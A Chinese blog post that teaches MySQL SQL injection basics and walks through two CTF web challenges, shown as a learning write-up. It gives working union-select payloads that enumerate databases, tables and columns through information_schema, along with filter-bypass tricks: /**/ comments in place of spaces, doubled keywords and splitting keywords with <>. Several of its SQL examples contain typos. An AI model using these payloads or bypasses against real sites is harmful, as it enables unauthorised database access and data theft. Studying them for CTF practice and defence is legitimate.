sql注入

sql注入的学习

sql前期知识:

select语句,是sql或者mysql语句中进行查询的语句 ,具体请参照 http://www.w3school.com.cn/sql/sql_select.asp

where 子句可以理解进行限制的一个语句,详情参照 http://www.w3school.com.cn/sql/sql_where.asp

union 是具有联合查询的字段,一般是select union select 进行联用。详情参照  http://www.w3school.com.cn/sql/sql_union.asp

order by 是对字符进行分类的,比如一个表中有4个字段,那么就可以用order by 4 ,这样就可以显示表中的4个字段 详情参照 http://www.w3school.com.cn/sql/sql_orderby.asp

在mysql5.5以上有一个information_schema的数据库(这个数据库可是不得了,以后有大的用途)

一般在比赛中注入到什么地方呢?注入到字段(column)里面.......

注入的顺序:数据库(database())------->数据表(table)----------->数据字段(column)------------------->字段---------------------->字段中的数据

如果注入到数据库呢 ?  select database()

注入到数据表呢? (假如有一个admin的数据库,想要获得admin中的全部表)

select * from admin(这样写没错吧-_-) 但那是在自己的数据中进行操作的时候,真正的时候还是很麻烦的(囧)

select table_name from information_schema.tables where table_schema = 'admin'

注入到数据:假设有个表是test_table,有个数据库是admin,想要获得admin数据库中,test_table中表的所有字段

select conlumn_name from informtion_schema.columns where table_schema = 'admin' and table_name = 'test_table'

是不是感觉很麻烦····,我也感觉很麻烦,mysql操作环境下,直接use admin;select * from test_table,不就得了,但那是在自己的mysql本地环境下的操作

最后一步,获取字段中的数据,假设数据库是admin,admin库中的表是test_table,表中的字段名是flag

那么 selct flag from test_table 完美解决问题(^_^)

这些前期学习的时候,还是比较重要的,如果不懂为什么是information_schema.tables能看到数据库,看我的截图(table_schema代表数据库,table_name代表一个数据表)

 

不懂为什么information_schema.columns中能看到字段,看这张图

 

 table_schema代表是数据库,table_name代表的是数据表,column_name代表的是字段,在一个表中,是这样有字段也有,字段的值

比如一个admin表:其中id,username,password称之为字段

1 admin admin 

2 admin2 root ....  称之为表中的数据

 

 

 

 

 

sql注入的判断方式有两种

1.字符型

2.数值型

  判断是否有注入的方式有两种,一种是加'(单引号),一个是and 1=1。这里详细解释一下,这两种执行方式的区别。

1>

  这里采用的例子是实验吧中,简单的sql注入

  加上单引号之后',会进行报错,一般sql查询的方式是?id=1

  这里讲注入的两种方式,一种是利用order by ,一种是利用是单引号的进行判断

例如:

 

 

判断之后的语句为: $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

 

分析报错的原因:

       用户在加上单引号之后,在sql语句中原来的sql命令就变成了:$sql="SELECT * FROM users WHERE id=''' LIMIT 0,1";ps:注意红色的单引号,还有个单引号没有进行闭合,那么肯定报错,判断有sql注入。这个sql命令是如何执行的,大家自己动手拼接一下就好了。

1.在输入1 and 1=2 之后返回 1 1=2代表着and被过滤了,那么在mysql管理员可能设置了在空格后面的and都会被过滤掉。

 

但是如果我这个不是空格呢?用/**/  ------->这是一个注释的作用,但是也可以当作空格来用的(perfect,我是机智小能手)

下面是提交1/**/and/**/1=2,可以看到sql语句正确的执行了。

2.下面操作就该是-------------爆库!

  ' union/**/select/**/database()'

 

 库名:web1

3.爆表

1' union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/=/**/'web1

 

   what!!!这是什么鬼~~~难不成是传说中的对关键字还进行过滤了,那我只过滤了table_schema,先尝试基本的双写绕过,table_schemtable_shemea(双写绕过就是把关键字写两遍)

注入为1' union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schetable_schemama/**/=/**/'web1 重要的是web1前面的‘闭合

 

看到web1库中有两个表,一个是web_1,一个是flag那肯定是flag啦(看到flag偷偷窃喜)

爆flag表的子段:

                           囧.jpg

  好像由于实验吧环境的问题,然后导致不能注入了

1' union/**/select/**/column_namcolumn_namee/**/from/information_scheminformation_schema.columnsa.columns/**/where/**/table_name='flag(这个注入之前我是这样成功的,但是后面不知道为啥不成功了,补充一个能成功的)

 

1'unionunion  selectselect  group_concatgroup_concat(column_namcolumn_namee)  fromfrom  information_schema.columinformation_schema.columnsns  wherewhere  table_name='flag

 

 

 

 

爆flag表中的flag字段。

 

1' union/**/select/**/flag/**/from/**/flag/**/where/**/'1'/**/=/**/'1

下面就可以直接的

select /**/lag/**/from/**/flag/**/where/**/'1'='1  

  第二道题是i春秋上面的web题,这个可以归为整数型

 拿到连接之后先在MantraPortable里面的Hackbar里面进行尝试是否有机会可以用union select 直接查呢~~结果还是不行(-。-)

 

 那么能不能and 1=2呢?也不行也是被waf识别了,那么会不会跟上个题一样用/**/可以进行绕过呢?

 

也不行,关键字大小呢?%0a呢?base64编码呢?好像也不行(稍微会点绕过的技巧,都能够进行想到,这说的都是一些基本的绕过技巧)

还有一种方法and可以改写为an<>d,这样把关键词隔开的方式

正确执行成功了

那么可以直接order by 嘛?考虑到or在数据库中也是一个关键字,所以我们将order by 变成o<>rder by。

order by 2返回正常,那么order by 4呢?(这种验证方法称之为二分法ps:我这里只是采用二分的思想)

发现没有进行返回数值,说明当前这个表的字段是<=4的 ,那么我们 union select 1,2,3,4,这种方法是联合查询,看回显的会是哪一个数值,说明第几个存在着注入。发现4并没有回显,那么我们试试3,反正2有回显,4没有回显,是个整数的话一定是3。不出意外,这个回显的确实与我们验证的一样。

那么我们开始进行爆破

1.爆库:

2.爆sqli库中的表

 

 3.假如爆info表中的字段

4.爆破在info表中的字符值

这样flag就已经拿到手了。

后话:

  注入确实挺难学的,最好把那么sql语句会用之后再看一遍效果会比较好,不用读数据库原理的书,暂时还没什么用。sql注入的危害难道只可以获得用户的账号密码嘛?(-。-)不是的哦~~,假如注入点的权限高的话,是可以进行插🐎连接shell的........一系列大的危害。并且sql注入一直长居owasp top 10里面,可见它的重要性。

 ps:小菜鸡一枚,求大佬放过,hackbar可以用火狐的,我的因为被禁了,所以换成MantraPortable,欢迎各位大佬进行指点,这里感谢gtfly耐心解答,附上大佬博客链接(http://www.gtfly.top/)

附上几个链接:SQL注入有趣姿势总结 https://xz.aliyun.com/t/5505

       史上最水的MYSQL注入总结 https://xz.aliyun.com/t/3992

 

 

posted @ 2019-07-10 16:06  你们的饭不好吃  阅读(628)  评论(0)    收藏  举报